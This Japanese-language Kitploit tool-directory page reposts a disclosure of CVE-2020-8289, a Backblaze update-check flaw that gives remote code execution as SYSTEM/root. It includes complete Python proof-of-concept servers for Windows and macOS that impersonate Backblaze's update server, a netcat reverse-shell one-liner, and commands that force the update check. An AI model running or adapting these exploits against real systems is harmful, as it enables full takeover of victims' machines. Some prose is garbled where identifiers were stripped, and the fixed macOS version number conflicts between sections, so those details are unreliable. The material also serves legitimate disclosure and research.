Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-8289 — CVE-2020-8289 – Backblaze経由のSYSTEM/rootとしてのリモートコード実行 | Kitploit
ツール/GitHubGitHub/geffner/cve-2020-8289
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツールペイロード開発
GitHubgeffner/cve-2020-8289

CVE-2020-8289

CVE-2020-8289 – Backblaze経由のSYSTEM/rootとしてのリモートコード実行

リポジトリを見る
1125年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-8289 – Backblaze 経由の SYSTEM/root としてのリモートコード実行

概要

名称: Backblaze 経由の SYSTEM/root としてのリモートコード実行
CVE: CVE-2020-8289
発見者: Jason Geffner
ベンダー: Backblaze
製品: Backblaze for Windows および Backblaze for macOS
リスク: 重大
発見日: 2020-03-13
公開日: 2020-09-09
修正バージョン: 7.0.1.433 (Windows) および 7.1.0.434 (macOS)

はじめに

Wikipedia によると、Backblaze は次のように説明されています。

「Windows および macOS ユーザーがデータをオフサイトのデータセンターにバックアップできるオンラインバックアップツールです。このサービスは企業およびエンドユーザー向けに設計されており、無制限のストレージ容量と無制限のファイルサイズをサポートしています。」

脆弱なバージョンの Backblaze for Windows および Backblaze for macOS には、権限のない匿名のリモート攻撃者が SYSTEM/root としてリモートコード実行 (RCE) を実行できる重大なリスクの脆弱性が含まれています。

脆弱性

Backblaze クライアントのサービスプロセス bzserv は、Windows では SYSTEM、macOS では root として実行されます。数時間ごとに、bzserv は bztransmit というプログラム(SYSTEM/root として実行)を実行し、Backblaze のデータセンターから clientversion.xml という XML ファイルをダウンロードして、新しいバージョンの Backblaze クライアントがダウンロード可能かどうかを確認します。この XML ファイルの URL は、インストールされている bzinstall.xml ファイル(権限のないユーザーには読み取り専用)内の bzdatacenter ホスト名とハードコードされたパス api/clientversion.xml から構築され、https://ca000.backblaze.com/api/clientversion.xml のような URL になります。このダウンロードは、静的にリンクされた libcurl ライブラリを介して実行されます。しかし、libcurl を利用する 関数には、特定のロジックが含まれており、指定された URL に次の文字列のいずれかが含まれている場合、 を に、 を に設定します。

  • .backblaze.xyz/
  • .backblazeb2.xyz/
  • api/clientversion.xml
  • api/install_backblaze

これにより、リモート攻撃者は無効な SSL 証明書(たとえば自己署名証明書)を使用して Web サーバー https://ca000.backblaze.com/ を偽装し、攻撃者が制御する clientversion.xml ファイルをクライアントに提供できます。bztransmit がダウンロードした XML ファイルを解析する際、XML ファイルに記述された最新のクライアントバージョンがインストールされているクライアントバージョンより新しいかどうかを確認し、新しい場合は Backblaze のデータセンターから最新のクライアントバージョンのインストーラーをダウンロードします。このダウンロードの URL は、ダウンロードした clientversion.xml ファイルの win32_url/mac_url 属性から構築されます。属性値は %DEST_HOST% で始まる必要があり、その文字列は実行時に上記のデータセンターホスト名に置き換えられます。したがって、攻撃者は自身の clientversion.xml に %DEST_HOST%/api/install_backblaze のようなダウンロード URL を提供することで、bztransmit に https://ca000.backblaze.com/api/install_backblaze からインストーラーをダウンロードさせ、さらに URL 内の api/install_backblaze 文字列によりサーバーの SSL 証明書を再度無視させることができます。ダウンロードされたファイルが ZIP ファイルでない場合(たとえば PE ファイルや Mach-O ファイルの場合)、 が実行するファイルの検証は、ファイル内の特定のオフセット範囲に文字列 が含まれていることだけです。この検証が通ると、 は / を使用してダウンロードしたファイルを / として実行し、攻撃者が / として RCE を実行できるようにします。

概念実証 (Windows)

動画: https://youtu.be/W0THXbcX5V8

この概念実証は Windows クライアント向けです。実際の攻撃では、攻撃者が被害者に偽装 DNS 応答を送信して ca000.backblaze.com を攻撃者の IP に向けると想定しますが、PoC テストの目的では、代わりに被害者の %windir%\System32\drivers\etc\hosts ファイルに <攻撃者のIP> ca000.backblaze.com の行を追加することもできます。以下のコードでは、攻撃者が rce.exe(被害者のシステム上で SYSTEM として実行される)と server.pem(自己署名可能)を用意することを想定しています。

root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""

__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl

bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
             b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
    exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
    raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(exe)))
        self.end_headers()
        self.wfile.write(exe)

    def do_POST(self):
        self.send_response(200)
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={"REQUEST_METHOD": "POST"})
        response = str.encode(
            ' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
            ' win32_version="1' + form.getvalue("version") + '"' +
            ' win32_url="%DEST_HOST%/api/install_backblaze"')
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    def do_CONNECT(self):
        self.wfile.write("HTTP/1.1 200\r\n")
        self.end_headers()
        self.rfile = self.connection.makefile("rb", self.rbufsize)
        self.wfile = self.connection.makefile("wb", self.wbufsize)
        self.close_connection = 0

httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
                               server_side=True)
httpd.serve_forever()

上記のコードが実行されたら、待機します。被害者のクライアントは数時間ごとにアップデートを確認します。

待たずに PoC をテストしたい場合は、被害者のシステムで SYSTEM として(たとえば psexec を使用して)次のコマンドを実行し、アップデートチェックを強制できます。

  • del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lck
  • bztransmit.exe -fetchclientversionxml
  • bztransmit.exe -downloadautoupdateifappropriate

概念実証 (macOS)

動画: https://youtu.be/ILPP1Ky5nuY

この概念実証は macOS クライアント向けです。現実の世界では、攻撃者は被害者に偽装 DNS 応答を送信して ca000.backblaze.com を攻撃者の IP に向けるでしょうが、PoC の目的では、被害者と同じシステムから攻撃し、侵害された Backblaze サービスを悪用して攻撃者へのリモートシェルを生成し、リモート攻撃者にルートアクセスを提供します。

root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""

__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl

attacker_ip = "localhost"
attacker_port = 12345

reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
                f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
             "xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload.encode())

    def do_POST(self):
        self.send_response(200)
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={"REQUEST_METHOD": "POST"})
        response = str.encode(
            ' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
            ' win32_version="1' + form.getvalue("version") + '"' +
            ' mac_version="1' + form.getvalue("version") + '"' +
            ' mac_url="%DEST_HOST%/api/install_backblaze"')
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    def do_CONNECT(self):
        self.wfile.write("HTTP/1.1 200\r\n")
        self.end_headers()
        self.rfile = self.connection.makefile("rb", self.rbufsize)
        self.wfile = self.connection.makefile("wb", self.wbufsize)
        self.close_connection = 0

httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
                               server_side=True)
httpd.serve_forever()

上記のコードが実行されたら、待機します。被害者のクライアントは数時間ごとにアップデートを確認します。

待たずに PoC をテストしたい場合は、被害者のシステムで次のコマンドを実行し、アップデートチェックを強制できます。

  • sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lck
  • sudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxml
  • sudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriate

緩和策

Backblaze は、Windows 用の Backblaze バージョン 7.0.1.433 および macOS 用のバージョン 7.0.1.434 でこの脆弱性を修正しました。

発見者

この脆弱性は、Jason Geffner によって発見され、HackerOne 経由で Backblaze に報告されました。

タイムライン

2020-03-13 - 脆弱性を発見し、HackerOne 経由で Backblaze に報告
2020-03-31 - HackerOne が脆弱性を確認
2020-04-09 - Windows ビルド 7.0.1.433 および macOS ビルド 7.1.0.434 をリリース
2020-04-17 - CVE-2020-8150 が割り当てられる
2020-04-18 - 脆弱性の緩和策を確認
2020-04-20 - 公開開示を要求
2020-09-09 - 公開開示
2020-12-22 - CVE 割り当てが CVE-2020-8289 に変更

ツールをダウンロード
bztransmit
CURLOPT_SSL_VERIFYPEER
0
CURLOPT_SSL_VERIFYHOST
0
bztransmit
bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavex
bztransmit
ShellExecute()
system()
SYSTEM
root
SYSTEM
root